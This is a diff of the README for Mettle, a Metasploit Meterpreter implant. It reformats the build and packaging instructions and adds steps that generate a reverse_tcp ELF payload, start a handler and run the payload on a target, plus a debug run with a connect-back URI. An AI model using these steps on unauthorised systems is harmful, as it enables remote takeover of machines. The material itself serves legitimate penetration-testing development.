1- Mettle
2- ======
1+ # Mettle
32
4- This is an implementation of a native-code Meterpreter, designed for
5- portability, embeddability, and low resource utilization. It can run on the
6- smallest embedded Linux targets to big iron, and targets Android, iOS, macOS,
7- Linux, and Windows, but can be ported to almost any POSIX-compliant
8- environment.
3+ This is an implementation of a native-code Meterpreter, designed for portability, embeddability, and low resource
4+ utilization. It can run on the smallest embedded Linux targets to big iron, and targets Android, iOS, macOS, Linux, and
5+ Windows, but can be ported to almost any POSIX-compliant environment.
96
10- Building on Linux
11- ------------
7+ ## Building on Linux
128
13- Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and the following packages available:
9+ Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and
10+ the following packages available:
1411
1512```
1613# Dependencies
17- apt install curl build-essential git autoconf automake libtool bison flex gcc ruby rake bundler git mingw-w64
14+ apt install curl build-essential git autoconf automake libtool bison flex gcc ruby rake bundler git mingw-w64
1815```
1916
20- The Dockerfile under docker/Dockerfile contains a pre-configured build
21- environment as well.
17+ The Dockerfile under docker/Dockerfile contains a pre-configured build environment as well.
2218
23- Building on macOS
24- ------------
19+ ## Building on macOS
2520
2621On macOS you will need to install the xcode command line tools as follows:
2722
2823```
2924xcode-select --install
3025```
3126
32- Make Targets
33- ------------
27+ ## Make Targets
3428
3529For general development, there are a few make targets defined:
3630
37- Running ` make ` will build for the local environment. E.g. if you're on macOS,
38- it will build for macOS using your native compiler and tools.
31+ Running ` make ` will build for the local environment. E.g. if you're on macOS,it will build for macOS using your native
32+ compiler and tools.
3933
40- ` make TARGET=triple ` will build for a specific host triple. See below for some
41- common ones.
34+ ` make TARGET=triple ` will build for a specific host triple. See below for some common ones.
4235
4336` make clean ` will clean the 'mettle' directory for the current build target
4437
@@ -48,8 +41,7 @@ common ones.
4841
4942` make clean-parallel ` and ` make distclean-parallel ` do similar for all targets.
5043
51- Packaging
52- =========
44+ # Packaging
5345
5446To build the gem for distribution (currently requires Linux or macOS):
5547
@@ -69,8 +61,7 @@ To completely reset your dev environment and delete all binary artifacts:
6961rake mettle:ultraclean
7062```
7163
72- Gem API
73- -------
64+ ## Gem API
7465
7566To generate a payload with Mettle:
7667``` ruby
@@ -91,15 +82,14 @@ The available platform triples for Linux targets are:
9182* ` mips64-linux-muslsf `
9283* ` s390x-linux-musl `
9384
94- For Mingw32-64 Windows targets, the following triples are added. On up-to-date
95- Debian / Ubuntu systems, the ` mingw-w64 ` package will install both toolchains.
85+ For Mingw32-64 Windows targets, the following triples are added. On up-to-date Debian / Ubuntu systems, the ` mingw-w64 `
86+ package will install both toolchains.
9687
9788* ` x86_64-w64-mingw32 `
9889* ` i686-w64-mingw32 `
9990
100- For macOS/iOS builds, the following triples are added. To target older macOS/OSX
101- versions, see https://github.com/phracker/MacOSX-SDKs to get the appropriate
102- SDK folder.
91+ For macOS/iOS builds, the following triples are added. To target older macOS/OSX versions, see
92+ https://github.com/phracker/MacOSX-SDKs to get the appropriate SDK folder.
10393
10494* ` arm-iphone-darwin `
10595* ` aarch64-iphone-darwin `
@@ -129,24 +119,114 @@ The formats are:
129119* ` :process_image ` - a process image that must be started with a custom stack (see ` doc/stack_requirements.md ` )
130120
131121
132- Using with Metasploit
133- ---------------------
122+ ## Using with Metasploit
134123
135124To pull your local changes of mettle into your Metasploit install:
136125
137- 1 . Add ` -dev ` to the version in ` lib/metasploit_payloads/mettle/version.rb `
138- 2 . Build the gem as above
126+ 1 . Add ` -dev ` to the version in ` lib/metasploit_payloads/mettle/version.rb ` :
127+ ```
128+ # -*- coding:binary -*-
129+ module MetasploitPayloads
130+ VERSION = '1.0.28-dev'
131+
132+ def self.version
133+ VERSION
134+ end
135+ end
136+ ```
137+ 2 . Build the gem with:
138+ ```
139+ ~/code/mettle$ rake build
140+ => metasploit_payloads-mettle 1.0.28.pre.dev built to pkg/metasploit_payloads-mettle-1.0.28.pre.dev.gem.
141+ ```
1391423 . Copy ` pkg/metasploit-payloads-mettle-X.X.X.pre.dev.gem ` to the box you are using for Metasploit if it is different
140- 4 . Change the version in your metasploit-framework.gemspec to match the one you just built
143+ 4 . Change the version in your ` metasploit-framework.gemspec ` to match the one you just built:
144+ ```
145+ spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
146+ ```
1411475 . ` gem install <path to new gem> ` (for example: 'metasploit_payloads-mettle', '0.4.1.pre.dev')
142- 6 . Run ` bundle install ` in your Framework directory, and ensure you see something like ` Using metasploit_payloads-mettle 0.4.1.pre.dev (was 0.4.1) ` in the output
143- 7 . Congrats, you are now done!
148+ ```
149+ ~/code/metasploit-framework$ gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem
150+ Successfully installed metasploit_payloads-mettle-1.0.28.pre.dev
151+ Parsing documentation for metasploit_payloads-mettle-1.0.28.pre.dev
152+ Installing ri documentation for metasploit_payloads-mettle-1.0.28.pre.dev
153+ Done installing documentation for metasploit_payloads-mettle after 0 seconds 1 gem installed
154+ ```
155+ 6 . Run ` bundle install ` in your Framework directory, and ensure you see something like the following in the output:
156+ ```
157+ Using metasploit_payloads-mettle 1.0.28.pre.dev (was 1.0.26)
158+ ```
159+
160+ 7 . Use an appropriate payload:
161+ ```
162+ msf6> use payload/linux/x64/meterpreter/reverse_tcp
163+ ```
164+
165+ 8 . Generate the payload:
166+ ```
167+ msf6> payload(linux/x64/meterpreter_reverse_tcp) > generate -f elf -o mettle.elf
168+ ```
169+
170+ 9 . Change the file permissions:
171+
172+ ```
173+ msf6> payload(linux/x64/meterpreter_reverse_tcp) > chmod +x mettle.elf
174+ ```
175+
176+ 10 . Set up a handler
177+ ```
178+ msf6> payload(linux/x64/meterpreter_reverse_tcp) > to_handler
179+ ```
180+
181+ 11 . Move the payload to the target machine and run it, you should now get back a session on ` msfconsole ` !
182+
183+
184+ ## Docker
185+ The following steps make use of ` gdb ` for debugging.
186+ 1 . Run the Docker container:
187+ ```
188+ ~/code/mettle$ sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
189+ ```
190+
191+ 2 . Within the container run the following commands:
192+ ```
193+ /home/ubuntu/code/mettle# sudo apt-get update
194+
195+ /home/ubuntu/code/mettle# sudo apt-get install gdb
196+ ```
197+
198+ 3 . Compile(` D=1 ` enables debugging):
199+ ```
200+ /home/ubuntu/code/mettle# make clean
201+
202+ /home/ubuntu/code/mettle# make D=1
203+ ```
204+
205+ 4 . Then run with ` gdb ` :
206+ ```
207+ /home/ubuntu/code/mettle# gdb --args /home/ubuntu/code/mettle/build/linux.x86_64/bin/mettle --debug 3 --uri "tcp://192.168.175.1:4444"
208+ ```
209+
210+ 5 . Once within ` gdb ` run the following commands:
211+ ```
212+ (gdb) b *main
213+
214+ (gdb) run
215+ ```
216+
217+ 6 . To get breakpoint in ` gbd ` add the following into your code:
218+ ```
219+ __asm("int3");
220+ ```
221+
222+ ### TUI
223+ [ TUI] ( https://sourceware.org/gdb/current/onlinedocs/gdb.html/TUI.html ) allows ` gdb ` to show the code above the terminal
224+ for easier code traversal when debugging. _ Note_ TUI will remove use of arrows for navigating console history.
225+
226+ ## Pushing out a New Gem
144227
145- Pushing out a New Gem
146- ----------------------
147228Build CI will automatically publish new gems when commits land to master and pass build.
1482291 . Test Locally
1492302 . Land the changes to upstream master
1502313 . Monitor for the new gem on rubygems.org
1512324 . Once the gem appears, make a PR for bumping the version in framework
152-
0 commit comments